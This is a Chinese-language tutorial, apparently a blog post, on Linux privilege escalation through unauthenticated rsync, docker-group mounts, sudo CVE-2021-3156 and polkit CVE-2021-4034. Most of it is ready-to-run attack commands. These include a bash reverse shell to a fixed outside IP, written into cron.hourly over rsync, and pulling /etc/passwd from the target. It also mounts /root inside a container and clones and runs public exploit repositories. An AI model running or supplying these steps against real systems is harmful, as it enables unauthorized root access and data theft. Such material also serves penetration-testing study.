Linux提权:Docker组挂载 && Rsync未授权 && Sudo-CVE && Polkit-CVE

目录

Rsync未授权访问

docker组挂载

Sudo-CVE漏洞

Polkit-CVE漏洞


这里的提权手法是需要有一个普通用户的权限,一般情况下取得的webshell权限可能不够

Rsync未授权访问

Rsync是linux下一款数据备份工具,默认开启873端口

https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖

前提:没有账号密码验证 开放873端口

探针

复制代码
rsync rsync://ip:873/

出现下面这种情况就说明存在未授权

思路一:下载获取对方的敏感文件

到达对方的根目录

可以通过rsync下载敏感文件 /etc/passwd 到自己根目录

复制代码
rsync rsync://ip:873/src/etc/passwd ./

思路二:覆盖定时文件,定时反弹shell

Linux系统的定时任务一般在 /etc/crontab

可以本地构造一个反弹 shell 的定时任务 nc

复制代码
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i

赋予执行权限

复制代码
chmod +x nc

上传文件覆盖定时任务目录下

复制代码
rsync -av nc rsync://ip:873/src/etc/cron.hourly

下载文件

复制代码
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./

本地监听反弹 shell 即可

复制代码
nc -lvnp 3333

docker组挂载

条件:普通用户在docker组

原理:利用docker服务启动镜像挂载目录、从而来访问root目录、etc目录等敏感文件来进行权限提升。因为docker的运行本身就需要root权限。

漏洞复现:

常见一个普通用户,并放到docker组内

复制代码
useradd -d /home/test -m  test
passwd test
usermod -G docker test
newgrp docker

利用

发现对方主机上存在docker服务,敲docker相关命令,判断有么docker相关的服务

groups 用户名 查看当前用户是否在docker组内

从Docker上下载alpine镜像,使用参数 -it 进入 容器shell

复制代码
docker run -v /root:/mnt -it alpine

这样就可以实现非root用户访问敏感文件,在尝试进行提权

Sudo-CVE漏洞

漏洞探针:这是版本漏洞,在版本区间都会受到影响

sudo: 1.8.2 - 1.8.31 p2

sudo: 1.9.0 - 1.9.5 p1

执行命令,看是否报错

复制代码
sudoedit -s /

若不报错,提示sudio的usage信息;报错:

利用:下载EXP直接攻击

复制代码
// 下载EXP

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

// 编译一下
make

// 给执行权限
chmod a+x sudo-hax-me-a-sandwich

// 执行脚本 1是选择模式
./sudo-hax-me-a-sandwich 1

Polkit-CVE漏洞

漏洞影响2009年5月至今的所有polkit版本

由于polkit是系统预装工具,所有存在polkit的linux系统均受影响

如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

探针

复制代码
dpkg -l policykit-1

存在漏洞:

不存在漏洞

复制代码
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034
相关推荐
深紫色的三北六号1 小时前
Linux 服务器磁盘扩容与目录迁移:rsync + bind mount 实现服务无感迁移(无需修改配置)
linux·扩容·服务迁移
SudosuBash5 小时前
[CS:APP 3e] 关于对 第 12 章 读/写者的一点思考和题解 (作业 12.19,12.20,12.21)
linux·并发·操作系统(os)
小p10 小时前
docker学习7:docker 容器的通信方式
docker
小p11 小时前
docker学习5:提升Dockerfile水平的5个技巧
docker
小p12 小时前
docker学习3:docker是怎么实现的?
docker
哈基咪怎么可能是AI15 小时前
为什么我就想要「线性历史 + Signed Commits」GitHub 却把我当猴耍 🤬🎙️
linux·github
十日十行1 天前
Linux和window共享文件夹
linux
木心月转码ing2 天前
WSL+Cpp开发环境配置
linux
小p2 天前
docker学习: 2. 构建镜像Dockerfile
docker
小p2 天前
docker学习: 1. docker基本使用
docker